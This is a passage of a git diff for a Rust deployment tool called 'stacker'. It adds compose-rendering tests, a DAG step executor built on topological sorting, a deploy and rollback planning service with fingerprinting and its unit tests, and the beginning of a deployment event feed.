assert!(result.is_err()); + } + + #[test] + fn test_valid_image_accepted() { + use crate::models::project_app::ProjectApp; + + let renderer = ConfigRenderer::new().unwrap(); + let app = ProjectApp { + code: "nginx".to_string(), + name: "Nginx".to_string(), + image: "nginx:latest".to_string(), + ..ProjectApp::default() + }; + + let result = renderer.project_app_to_context(&app, HashMap::new()); + assert!(result.is_ok()); + let ctx = result.unwrap(); + assert_eq!(ctx.image, "nginx:latest"); + } + + #[test] + fn render_compose_includes_kata_runtime() { + let ctx = AppRenderContext { + code: "web".to_string(), + name: "web".to_string(), + image: "nginx:latest".to_string(), + environment: HashMap::new(), + ports: vec![], + volumes: vec![], + domain: None, + ssl_enabled: false, + networks: vec![], + depends_on: vec![], + restart_policy: "unless-stopped".to_string(), + resources: ResourceLimits { + memory_limit: None, + cpu_limit: None, + cpu_reservation: None, + memory_reservation: None, + }, + labels: HashMap::new(), + healthcheck: None, + runtime: Some("kata".to_string()), + }; + // Verify the struct accepts runtime and serializes correctly + let json = serde_json::to_value(&ctx).unwrap(); + assert_eq!(json["runtime"], "kata"); + } + + #[test] + fn render_compose_runtime_none_serializes_null() { + let ctx = AppRenderContext { + code: "web".to_string(), + name: "web".to_string(), + image: "nginx:latest".to_string(), + environment: HashMap::new(), + ports: vec![], + volumes: vec![], + domain: None, + ssl_enabled: false, + networks: vec![], + depends_on: vec![], + restart_policy: "unless-stopped".to_string(), + resources: ResourceLimits { + memory_limit: None, + cpu_limit: None, + cpu_reservation: None, + memory_reservation: None, + }, + labels: HashMap::new(), + healthcheck: None, + runtime: None, + }; + let json = serde_json::to_value(&ctx).unwrap(); + assert!(json.get("runtime").is_none() || json["runtime"].is_null()); + } + + #[test] + fn render_compose_references_relative_env_file() { + let renderer = ConfigRenderer::new().unwrap(); + let project = Project { + name: "demo".to_string(), + ..Project::default() + }; + let ctx = AppRenderContext { + code: "web".to_string(), + name: "web".to_string(), + image: "nginx:latest".to_string(), + environment: HashMap::new(), + ports: vec![], + volumes: vec![], + domain: None, + ssl_enabled: false, + networks: vec![], + depends_on: vec![], + restart_policy: "unless-stopped".to_string(), + resources: ResourceLimits::default(), + labels: HashMap::new(), + healthcheck: None, + runtime: None, + }; + + let compose = renderer.render_compose(&[ctx], &project).unwrap(); + + assert!(compose.contains("env_file:\n - .env")); + } + + #[test] + fn render_compose_includes_stacker_runtime_labels() { + let renderer = ConfigRenderer::new().unwrap(); + let project = Project { + name: "demo".to_string(), + ..Project::default() + }; + let mut labels = HashMap::new(); + crate::helpers::stacker_labels::insert_runtime_labels( + &mut labels, + Some(42), + Some("cloud"), + crate::helpers::stacker_labels::SCOPE_PROJECT, + "web", + "web", + ); + let ctx = AppRenderContext { + code: "web".to_string(), + name: "web".to_string(), + image: "nginx:latest".to_string(), + environment: HashMap::new(), + ports: vec![], + volumes: vec![], + domain: None, + ssl_enabled: false, + networks: vec![], + depends_on: vec![], + restart_policy: "unless-stopped".to_string(), + resources: ResourceLimits::default(), + labels, + healthcheck: None, + runtime: None, + }; + + let compose = renderer.render_compose(&[ctx], &project).unwrap(); + + assert!(compose.contains("my.stacker.project_id: \"42\"")); + assert!(compose.contains("my.stacker.target: \"cloud\"")); + assert!(compose.contains("my.stacker.scope: \"project\"")); + assert!(compose.contains("my.stacker.service: \"web\"")); + assert!(compose.contains("my.stacker.dns: \"web\"")); + } +} diff --git a/stacker/stacker/src/services/dag_executor.rs b/stacker/stacker/src/services/dag_executor.rs new file mode 100644 index 0000000..1340690 --- /dev/null +++ b/stacker/stacker/src/services/dag_executor.rs @@ -0,0 +1,363 @@ +use crate::db; +use crate::models::dag::{DagEdge, DagStep, DagStepExecution}; +use crate::services::step_executor; +use serde::{Deserialize, Serialize}; +use serde_json::Value as JsonValue; +use sqlx::PgPool; +use std::collections::{HashMap, HashSet, VecDeque}; +use uuid::Uuid; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DAG Execution Result +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DagExecutionResult { + pub execution_id: Uuid, + pub status: String, + pub total_steps: usize, + pub completed_steps: usize, + pub failed_steps: usize, + pub skipped_steps: usize, + pub execution_order: Vec, + pub step_results: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StepResult { + pub step_id: Uuid, + pub step_name: String, + pub step_type: String, + pub status: String, + pub output_data: Option, + pub error: Option, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Topological Sort (Kahn's algorithm) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Returns steps grouped by execution level (steps in same level can run in parallel). +pub fn topological_sort(steps: &[DagStep], edges: &[DagEdge]) -> Result>, String> { + if steps.is_empty() { + return Err("DAG must have at least one step".to_string()); + } + + let step_ids: HashSet = steps.iter().map(|s| s.id).collect(); + + // Build adjacency list and in-degree map + let mut in_degree: HashMap = step_ids.iter().map(|&id| (id, 0)).collect(); + let mut adjacency: HashMap> = + step_ids.iter().map(|&id| (id, Vec::new())).collect(); + + for edge in edges { + if step_ids.contains(&edge.from_step_id) && step_ids.contains(&edge.to_step_id) { + adjacency + .entry(edge.from_step_id) + .or_default() + .push(edge.to_step_id); + *in_degree.entry(edge.to_step_id).or_insert(0) += 1; + } + } + + // Kahn's: start with nodes having in-degree 0 + let mut queue: VecDeque = in_degree + .iter() + .filter(|(_, °)| deg == 0) + .map(|(&id, _)| id) + .collect(); + + let mut levels: Vec> = Vec::new(); + let mut visited_count = 0; + + while !queue.is_empty() { + let level: Vec = queue.drain(..).collect(); + visited_count += level.len(); + + let mut next_queue = VecDeque::new(); + for &node in &level { + if let Some(neighbors) = adjacency.get(&node) { + for &neighbor in neighbors { + let deg = in_degree.get_mut(&neighbor).unwrap(); + *deg -= 1; + if *deg == 0 { + next_queue.push_back(neighbor); + } + } + } + } + + levels.push(level); + queue = next_queue; + } + + if visited_count != step_ids.len() { + return Err("DAG contains a cycle".to_string()); + } + + Ok(levels) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Step Executor (delegates to step_executor module) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Execute a single step — delegates to the shared step_executor module. +async fn execute_step(step: &DagStep, input: &JsonValue) -> Result { + step_executor::execute_step(&step.step_type, &step.config, input).await +} + +/// Evaluate a condition — delegates to the shared step_executor module. +#[allow(dead_code)] +fn evaluate_condition(config: &JsonValue, input: &JsonValue) -> bool { + step_executor::evaluate_condition(config, input) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DAG Validator +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub fn validate_dag(steps: &[DagStep], _edges: &[DagEdge]) -> Result<(), String> { + if steps.is_empty() { + return Err("DAG must have at least one step".to_string()); + } + + let source_types = [ + "source", + "ws_source", + "http_stream_source", + "grpc_source", + "cdc_source", + "amqp_source", + "kafka_source", + ]; + let target_types = ["target", "ws_target", "grpc_target"]; + + let has_source = steps + .iter() + .any(|s| source_types.contains(&s.step_type.as_str())); + if !has_source { + return Err("DAG must have at least one source step".to_string()); + } + + let has_target = steps + .iter() + .any(|s| target_types.contains(&s.step_type.as_str())); + if !has_target { + return Err("DAG must have at least one target step".to_string()); + } + + Ok(()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DAG Execution Orchestrator +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub async fn execute_dag( + pool: &PgPool, + template_id: &Uuid, + execution_id: Uuid, + _input_data: &JsonValue, +) -> Result { + let steps = db::dag::list_steps(pool, template_id).await?; + let edges = db::dag::list_edges(pool, template_id).await?; + + // Validate + validate_dag(&steps, &edges)?; + + // Topological sort + let levels = topological_sort(&steps, &edges)?; + + // Build lookup maps + let step_map: HashMap = steps.iter().map(|s| (s.id, s)).collect(); + + // Build reverse adjacency: for each step, which steps feed into it? + let mut incoming: HashMap> = HashMap::new(); + for edge in &edges { + incoming + .entry(edge.to_step_id) + .or_default() + .push(edge.from_step_id); + } + + // Build edge condition map (from_step_id → condition) for condition-gated edges + let mut edge_conditions: HashMap<(Uuid, Uuid), Option> = HashMap::new(); + for edge in &edges { + edge_conditions.insert((edge.from_step_id, edge.to_step_id), edge.condition.clone()); + } + + // Create step execution records + let mut step_exec_ids: HashMap = HashMap::new(); + for step in &steps { + let exec = DagStepExecution::new(execution_id, step.id); + let saved = db::dag::insert_step_execution(pool, &exec).await?; + step_exec_ids.insert(step.id, saved.id); + } + + // Track outputs and statuses + let mut step_outputs: HashMap = HashMap::new(); + let mut step_statuses: HashMap = HashMap::new(); + let mut skipped_steps: HashSet = HashSet::new(); + let mut execution_order: Vec = Vec::new(); + let mut step_results: Vec = Vec::new(); + + // Execute level by level + for level in &levels { + for &step_id in level { + let step = step_map[&step_id]; + execution_order.push(step_id); + + // Check if any upstream step failed or was skipped + let upstream_ids = incoming.get(&step_id).cloned().unwrap_or_default(); + let should_skip = upstream_ids.iter().any(|&up_id| { + skipped_steps.contains(&up_id) + || step_statuses.get(&up_id).map_or(false, |s| s == "failed") + }); + + if should_skip { + skipped_steps.insert(step_id); + step_statuses.insert(step_id, "skipped".to_string()); + + let exec_id = step_exec_ids[&step_id]; + db::dag::update_step_execution(pool, &exec_id, "skipped", None, None).await?; + + step_results.push(StepResult { + step_id, + step_name: step.name.clone(), + step_type: step.step_type.clone(), + status: "skipped".to_string(), + output_data: None, + error: Some("Upstream step failed or was skipped".to_string()), + }); + continue; + } + + // Mark as running + let exec_id = step_exec_ids[&step_id]; + db::dag::update_step_execution(pool, &exec_id, "running", None, None).await?; + + // Aggregate input from upstream steps + let input = if upstream_ids.is_empty() { + serde_json::json!({}) + } else if upstream_ids.len() == 1 { + step_outputs + .get(&upstream_ids[0]) + .cloned() + .unwrap_or(serde_json::json!({})) + } else { + // Merge multiple upstream outputs + let mut merged = serde_json::Map::new(); + for &up_id in &upstream_ids { + if let Some(out) = step_outputs.get(&up_id) { + if let Some(obj) = out.as_object() { + for (k, v) in obj { + merged.insert(k.clone(), v.clone()); + } + } + } + } + JsonValue::Object(merged) + }; + + // Execute the step + match execute_step(step, &input).await { + Ok(output) => { + // For condition steps, check if condition passed + if step.step_type == "condition" { + let condition_met = output + .get("condition_met") + .and_then(|v| v.as_bool()) + .unwrap_or(true); + + if !condition_met { + // Mark this step as completed but flag downstream for skipping + skipped_steps.insert(step_id); + step_statuses.insert(step_id, "completed".to_string()); + step_outputs.insert(step_id, output.clone()); + + db::dag::update_step_execution( + pool, + &exec_id, + "completed", + Some(&output), + None, + ) + .await?; + + step_results.push(StepResult { + step_id, + step_name: step.name.clone(), + step_type: step.step_type.clone(), + status: "completed".to_string(), + output_data: Some(output), + error: None, + }); + continue; + } + } + + step_statuses.insert(step_id, "completed".to_string()); + step_outputs.insert(step_id, output.clone()); + + db::dag::update_step_execution( + pool, + &exec_id, + "completed", + Some(&output), + None, + ) + .await?; + + step_results.push(StepResult { + step_id, + step_name: step.name.clone(), + step_type: step.step_type.clone(), + status: "completed".to_string(), + output_data: Some(output), + error: None, + }); + } + Err(err) => { + step_statuses.insert(step_id, "failed".to_string()); + + db::dag::update_step_execution(pool, &exec_id, "failed", None, Some(&err)) + .await?; + + step_results.push(StepResult { + step_id, + step_name: step.name.clone(), + step_type: step.step_type.clone(), + status: "failed".to_string(), + output_data: None, + error: Some(err), + }); + } + } + } + } + + // Compute final counts + let completed_count = step_statuses.values().filter(|s| *s == "completed").count(); + let failed_count = step_statuses.values().filter(|s| *s == "failed").count(); + let skipped_count = step_statuses.values().filter(|s| *s == "skipped").count(); + + let overall_status = if failed_count > 0 { + "partial_failure".to_string() + } else if skipped_count > 0 && completed_count > 0 { + "completed".to_string() + } else { + "completed".to_string() + }; + + Ok(DagExecutionResult { + execution_id, + status: overall_status, + total_steps: steps.len(), + completed_steps: completed_count, + failed_steps: failed_count, + skipped_steps: skipped_count, + execution_order, + step_results, + }) +} diff --git a/stacker/stacker/src/services/deploy_plan.rs b/stacker/stacker/src/services/deploy_plan.rs new file mode 100644 index 0000000..cb8db22 --- /dev/null +++ b/stacker/stacker/src/services/deploy_plan.rs @@ -0,0 +1,600 @@ +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use sqlx::PgPool; + +use crate::{ + db, + models::Deployment, + services::{ + DeploymentAppState, DeploymentState, TypedErrorCode, TypedErrorEnvelope, + TypedRemediationClass, + }, +}; + +pub const DEPLOY_PLAN_SCHEMA_VERSION: &str = "v1alpha1"; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum DeployPlanOperation { + Deploy, + DeployApp, + RollbackDeploy, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum DeployPlanActionKind { + ReconcileRuntimeEnv, + RedeployApp, + RollbackDeploy, + SyncAppConfig, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeployPlanRollback { + pub requested_target: String, + pub current_version: String, + pub resolved_version: String, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct RollbackPlanContext { + pub requested_target: String, + pub current_version: String, + pub resolved_version: String, +} + +pub async fn resolve_rollback_plan_context( + pg_pool: &PgPool, + deployment: &Deployment, + requested_target: &str, +) -> Result { + let project = db::project::fetch(pg_pool, deployment.project_id) + .await + .map_err(|_| TypedErrorEnvelope::internal_error("Failed to load rollback project"))? + .ok_or_else(|| { + TypedErrorEnvelope::deployment_not_found("Project not found for deployment") + })?; + + let template_id = project.source_template_id.ok_or_else(|| { + TypedErrorEnvelope::new( + TypedErrorCode::RollbackTargetUnavailable, + "Rollback is only available for marketplace deployments with an older template version", + false, + TypedRemediationClass::State, + ) + .with_context("rollbackTarget", requested_target) + })?; + + let versions = db::marketplace::list_versions_by_template(pg_pool, template_id) + .await + .map_err(|_| TypedErrorEnvelope::internal_error("Failed to load rollback versions"))?; + + let current = if let Some(current_version) = project.template_version.as_deref() { + versions + .iter() + .find(|version| version.version == current_version) + } else { + versions + .iter() + .find(|version| version.is_latest.unwrap_or(false)) + } + .ok_or_else(|| { + TypedErrorEnvelope::new( + TypedErrorCode::RollbackTargetUnavailable, + "Rollback target could not be resolved from the current deployment state", + false, + TypedRemediationClass::State, + ) + .with_context("rollbackTarget", requested_target) + })?; + + let resolved_version = if requested_target == "previous" { + let current_index = versions + .iter() + .position(|version| version.version == current.version) + .ok_or_else(|| { + TypedErrorEnvelope::new( + TypedErrorCode::RollbackTargetUnavailable, + "Current template version is not present in the rollback history", + false, + TypedRemediationClass::State, + ) + .with_context("rollbackTarget", requested_target) + .with_context("currentVersion", current.version.clone()) + })?; + + versions + .get(current_index + 1) + .map(|version| version.version.clone()) + .ok_or_else(|| { + TypedErrorEnvelope::new( + TypedErrorCode::RollbackTargetUnavailable, + "No older marketplace template version is available for rollback", + false, + TypedRemediationClass::State, + ) + .with_context("rollbackTarget", requested_target) + .with_context("currentVersion", current.version.clone()) + })? + } else { + versions + .iter() + .find(|version| version.version == requested_target) + .map(|version| version.version.clone()) + .ok_or_else(|| { + TypedErrorEnvelope::new( + TypedErrorCode::RollbackTargetUnavailable, + format!( + "Marketplace template version '{}' is not available for rollback", + requested_target + ), + false, + TypedRemediationClass::State, + ) + .with_context("rollbackTarget", requested_target) + })? + }; + + Ok(RollbackPlanContext { + requested_target: requested_target.to_string(), + current_version: current.version.clone(), + resolved_version, + }) +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeployPlanScope { + pub mode: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub app_code: Option, + pub selected_apps: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeployPlanAction { + pub kind: DeployPlanActionKind, + pub target: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub app_code: Option, + pub reason: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeployPlan { + pub schema_version: String, + pub deployment_hash: String, + pub operation: DeployPlanOperation, + pub target: String, + pub fingerprint: String, + pub scope: DeployPlanScope, + pub has_changes: bool, + pub actions: Vec, + pub reasoning: Vec, + #[serde(skip_serializing_if = "Option::is_none")] + pub rollback: Option, +} + +pub fn build_deploy_plan( + state: &DeploymentState, + operation: DeployPlanOperation, + target: &str, + requested_app: Option<&str>, + expected_fingerprint: Option<&str>, +) -> Result { + let selected_apps = select_apps(state, requested_app)?; + let fingerprint = plan_fingerprint(state, target, &operation, &selected_apps); + + if let Some(expected) = expected_fingerprint.filter(|value| !value.is_empty()) { + if expected != fingerprint { + return Err(TypedErrorEnvelope::new( + TypedErrorCode::PlanStale, + "Plan input is stale; regenerate the plan before apply", + false, + TypedRemediationClass::State, + ) + .with_context("expectedFingerprint", expected) + .with_context("actualFingerprint", fingerprint.clone()) + .with_context("deploymentHash", state.deployment.deployment_hash.clone())); + } + } + + let mut actions = Vec::new(); + let mut reasoning = Vec::new(); + + if state.drift.has_drift { + actions.push(DeployPlanAction { + kind: DeployPlanActionKind::ReconcileRuntimeEnv, + target: "deployment".to_string(), + app_code: None, + reason: "runtime env drift detected".to_string(), + }); + reasoning + .push("deployment drift requires runtime env reconciliation before apply".to_string()); + } + + for app in &selected_apps { + if app.config_version > app.vault_sync_version { + actions.push(DeployPlanAction { + kind: DeployPlanActionKind::SyncAppConfig, + target: "app".to_string(), + app_code: Some(app.code.clone()), + reason: "app config version is ahead of the synced Vault/runtime version" + .to_string(), + }); + } + } + + if matches!(operation, DeployPlanOperation::DeployApp) { + let app = selected_apps.first().ok_or_else(|| { + TypedErrorEnvelope::invalid_request("deploy-app plan requires a selected app") + })?; + actions.insert( + 0, + DeployPlanAction { + kind: DeployPlanActionKind::RedeployApp, + target: "app".to_string(), + app_code: Some(app.code.clone()), + reason: "explicit deploy-app plan targets a single app".to_string(), + }, + ); + reasoning.push("deploy-app scope is restricted to the requested app".to_string()); + } else if actions.is_empty() { + reasoning.push("no drift detected for the selected scope".to_string()); + reasoning.push( + "all selected apps are already synced with their current config versions".to_string(), + ); + } else if selected_apps + .iter() + .any(|app| app.config_version > app.vault_sync_version) + { + reasoning.push("at least one selected app has unsynced config changes".to_string()); + } + + Ok(DeployPlan { + schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(), + deployment_hash: state.deployment.deployment_hash.clone(), + operation, + target: target.to_string(), + fingerprint, + scope: DeployPlanScope { + mode: if requested_app.is_some() { + "app".to_string() + } else { + "deployment".to_string() + }, + app_code: requested_app.map(ToOwned::to_owned), + selected_apps: selected_apps.iter().map(|app| app.code.clone()).collect(), + }, + has_changes: !actions.is_empty(), + actions, + reasoning, + rollback: None, + }) +} + +pub fn build_rollback_plan( + state: &DeploymentState, + target: &str, + rollback: RollbackPlanContext, + expected_fingerprint: Option<&str>, +) -> Result { + let selected_apps = select_apps(state, None)?; + let fingerprint = rollback_fingerprint(state, target, &rollback); + + if let Some(expected) = expected_fingerprint.filter(|value| !value.is_empty()) { + if expected != fingerprint { + return Err(TypedErrorEnvelope::new( + TypedErrorCode::PlanStale, + "Plan input is stale; regenerate the plan before apply", + false, + TypedRemediationClass::State, + ) + .with_context("expectedFingerprint", expected) + .with_context("actualFingerprint", fingerprint.clone()) + .with_context("deploymentHash", state.deployment.deployment_hash.clone())); + } + } + + let has_changes = rollback.current_version != rollback.resolved_version; + let mut reasoning = vec![ + format!( + "rollback preview resolved requested target '{}' to template version {}", + rollback.requested_target, rollback.resolved_version + ), + format!( + "current deployment template version is {}", + rollback.current_version + ), + ]; + + let actions = if has_changes { + vec![DeployPlanAction { + kind: DeployPlanActionKind::RollbackDeploy, + target: "deployment".to_string(), + app_code: None, + reason: format!( + "rollback preview targets marketplace template version {}", + rollback.resolved_version + ), + }] + } else { + reasoning.push("deployment is already on the requested rollback target".to_string()); + Vec::new() + }; + + Ok(DeployPlan { + schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(), + deployment_hash: state.deployment.deployment_hash.clone(), + operation: DeployPlanOperation::RollbackDeploy, + target: target.to_string(), + fingerprint, + scope: DeployPlanScope { + mode: "deployment".to_string(), + app_code: None, + selected_apps: selected_apps.iter().map(|app| app.code.clone()).collect(), + }, + has_changes, + actions, + reasoning, + rollback: Some(DeployPlanRollback { + requested_target: rollback.requested_target, + current_version: rollback.current_version, + resolved_version: rollback.resolved_version, + }), + }) +} + +fn select_apps<'a>( + state: &'a DeploymentState, + requested_app: Option<&str>, +) -> Result, TypedErrorEnvelope> { + match requested_app { + Some(app_code) => state + .apps + .iter() + .find(|app| app.code == app_code) + .map(|app| vec![app]) + .ok_or_else(|| { + TypedErrorEnvelope::invalid_request(format!( + "Requested app '{app_code}' was not found in deployment state" + )) + .with_context("appCode", app_code) + }), + None => Ok(state.apps.iter().collect()), + } +} + +fn plan_fingerprint( + state: &DeploymentState, + target: &str, + operation: &DeployPlanOperation, + selected_apps: &[&DeploymentAppState], +) -> String { + let payload = serde_json::json!({ + "deploymentHash": state.deployment.deployment_hash, + "status": state.deployment.status, + "runtime": state.deployment.runtime, + "target": target, + "operation": operation, + "drift": { + "hasDrift": state.drift.has_drift, + "summary": state.drift.summary, + }, + "apps": selected_apps.iter().map(|app| serde_json::json!({ + "code": app.code, + "configVersion": app.config_version, + "vaultSyncVersion": app.vault_sync_version, + "configHash": app.config_hash, + "enabled": app.enabled, + })).collect::>(), + }); + + format!("{:x}", Sha256::digest(payload.to_string().as_bytes())) +} + +fn rollback_fingerprint( + state: &DeploymentState, + target: &str, + rollback: &RollbackPlanContext, +) -> String { + let payload = serde_json::json!({ + "deploymentHash": state.deployment.deployment_hash, + "status": state.deployment.status, + "runtime": state.deployment.runtime, + "target": target, + "operation": DeployPlanOperation::RollbackDeploy, + "rollback": { + "requestedTarget": rollback.requested_target, + "currentVersion": rollback.current_version, + "resolvedVersion": rollback.resolved_version, + }, + "apps": state.apps.iter().map(|app| serde_json::json!({ + "code": app.code, + "configVersion": app.config_version, + "vaultSyncVersion": app.vault_sync_version, + "configHash": app.config_hash, + "enabled": app.enabled, + })).collect::>(), + }); + + format!("{:x}", Sha256::digest(payload.to_string().as_bytes())) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::services::{ + DeploymentAgentFeatures, DeploymentAgentState, DeploymentDriftState, + DeploymentProjectState, DeploymentRuntimeState, DeploymentState, DeploymentStateDeployment, + }; + + fn sample_state() -> DeploymentState { + DeploymentState { + schema_version: "v1alpha1".to_string(), + project: DeploymentProjectState { + id: 17, + identity: "syncopia".to_string(), + name: "syncopia".to_string(), + }, + deployment: DeploymentStateDeployment { + id: 31, + deployment_hash: "deployment_state_online".to_string(), + status: "healthy".to_string(), + runtime: "runc".to_string(), + }, + agent: DeploymentAgentState { + id: Some("agent-1".to_string()), + status: "online".to_string(), + version: Some("0.2.8".to_string()), + last_heartbeat: None, + capabilities: vec!["compose".to_string()], + features: DeploymentAgentFeatures { + compose: true, + kata_runtime: false, + backup: false, + pipes: false, + proxy_credentials_vault: false, + }, + }, + runtime: DeploymentRuntimeState { + compose_path: "/home/trydirect/project/docker-compose.yml".to_string(), + env_path: "/home/trydirect/project/.env".to_string(), + }, + apps: vec![ + DeploymentAppState { + code: "device-api".to_string(), + name: "Device API".to_string(), + enabled: true, + config_version: 2, + vault_sync_version: 2, + config_hash: Some("cfg-device-api".to_string()), + }, + DeploymentAppState { + code: "upload".to_string(), + name: "Upload".to_string(), + enabled: true, + config_version: 3, + vault_sync_version: 3, + config_hash: Some("cfg-upload".to_string()), + }, + ], + drift: DeploymentDriftState { + has_drift: false, + summary: "no drift detected".to_string(), + }, + last_command: None, + } + } + + #[test] + fn deploy_plan_snapshot_with_no_changes() { + let plan = build_deploy_plan( + &sample_state(), + DeployPlanOperation::Deploy, + "cloud", + None, + None, + ) + .expect("plan should build"); + + assert_eq!(plan.schema_version, DEPLOY_PLAN_SCHEMA_VERSION); + assert!(!plan.has_changes); + assert!(plan.actions.is_empty()); + assert_eq!(plan.scope.mode, "deployment"); + } + + #[test] + fn deploy_plan_snapshot_with_env_and_config_drift() { + let mut state = sample_state(); + state.drift.has_drift = true; + state.drift.summary = "runtime env drift detected".to_string(); + state.apps[1].config_version = 4; + state.apps[1].vault_sync_version = 3; + + let plan = build_deploy_plan(&state, DeployPlanOperation::Deploy, "cloud", None, None) + .expect("plan should build"); + + assert!(plan.has_changes); + assert!(plan + .actions + .iter() + .any(|action| { matches!(action.kind, DeployPlanActionKind::ReconcileRuntimeEnv) })); + assert!(plan.actions.iter().any(|action| { + matches!(action.kind, DeployPlanActionKind::SyncAppConfig) + && action.app_code.as_deref() == Some("upload") + })); + } + + #[test] + fn deploy_app_plan_targets_single_service() { + let plan = build_deploy_plan( + &sample_state(), + DeployPlanOperation::DeployApp, + "cloud", + Some("upload"), + None, + ) + .expect("plan should build"); + + assert!(plan.has_changes); + assert_eq!(plan.scope.mode, "app"); + assert_eq!(plan.scope.app_code.as_deref(), Some("upload")); + assert_eq!(plan.scope.selected_apps, vec!["upload".to_string()]); + assert!(plan.actions.iter().any(|action| { + matches!(action.kind, DeployPlanActionKind::RedeployApp) + && action.app_code.as_deref() == Some("upload") + })); + } + + #[test] + fn stale_input_detection_returns_plan_stale_error() { + let state = sample_state(); + let error = build_deploy_plan( + &state, + DeployPlanOperation::Deploy, + "cloud", + None, + Some("stale-fingerprint"), + ) + .expect_err("stale plan should be rejected"); + + assert_eq!(error.code, TypedErrorCode::PlanStale); + assert_eq!( + error.context.get("expectedFingerprint").map(String::as_str), + Some("stale-fingerprint") + ); + } + + #[test] + fn rollback_plan_snapshot_targets_resolved_version() { + let plan = build_rollback_plan( + &sample_state(), + "cloud", + RollbackPlanContext { + requested_target: "previous".to_string(), + current_version: "1.2.0".to_string(), + resolved_version: "1.1.0".to_string(), + }, + None, + ) + .expect("rollback plan should build"); + + assert_eq!(plan.operation, DeployPlanOperation::RollbackDeploy); + assert!(plan.has_changes); + assert!(plan + .actions + .iter() + .any(|action| matches!(action.kind, DeployPlanActionKind::RollbackDeploy))); + assert_eq!( + plan.rollback + .as_ref() + .map(|item| item.resolved_version.as_str()), + Some("1.1.0") + ); + } +} diff --git a/stacker/stacker/src/services/deployment_events.rs b/stacker/stacker/src/services/deployment_events.rs new file mode 100644 index 0000000..29bef1b --- /dev/null +++ b/stacker/stacker/src/services/deployment_events.rs @@ -0,0 +1,409 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use sqlx::types::JsonValue; + +use crate::{ + db, + models::{Command, Deployment}, + services::{TypedErrorEnvelope, TypedRemediationClass}, +}; + +pub const DEPLOYMENT_EVENTS_SCHEMA_VERSION: &str = "v1alpha1"; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum DeploymentEventKind { + DeploymentStatus, + CommandQueued, + CommandSent, + CommandExecuting, + CommandCompleted, + CommandFailed, + CommandCancelled, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum DeploymentEventClassification { + Info, + Progress, + Success, + Failure, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentEvent { + pub sequence: usize, + pub kind: DeploymentEventKind, + pub classification: DeploymentEventClassification, + pub occurred_at: DateTime, + pub summary: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub command_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub command_type: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub status: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub retryable: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub remediation_class: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentEventFeed { + pub schema_version: String, + pub deployment_hash: String, + pub events: Vec, +} + +#[derive(Debug, Clone)] +struct DeploymentEventDraft { + kind: DeploymentEventKind, + classification: DeploymentEventClassification, + occurred_at: DateTime, + summary: String, + command_id: Option, + command_type: Option, + status: Option, + retryable: Option, + remediation_class: Option, + order_key: u8, +} + +impl DeploymentEventFeed { + pub fn from_parts(deployment: &Deployment, commands: &[Command]) -> Self { + let mut drafts = Vec::new(); + + if let Some(status_message) = deployment + .metadata + .get("status_message") + .and_then(|value| value.as_str()) + .map(str::trim) + .filter(|value| !value.is_empty()) + { + drafts.push(DeploymentEventDraft { + kind: DeploymentEventKind::DeploymentStatus, + classification: classify_deployment_status(&deployment.status), + occurred_at: deployment.updated_at, + summary: status_message.to_string(), + command_id: None, + command_type: None, + status: Some(deployment.status.clone()), + retryable: None, + remediation_class: None, + order_key: 2, + }); + } + + for command in commands { + drafts.push(DeploymentEventDraft { + kind: DeploymentEventKind::CommandQueued, + classification: DeploymentEventClassification::Info, + occurred_at: command.created_at, + summary: format!("{} queued", command.r#type), + command_id: 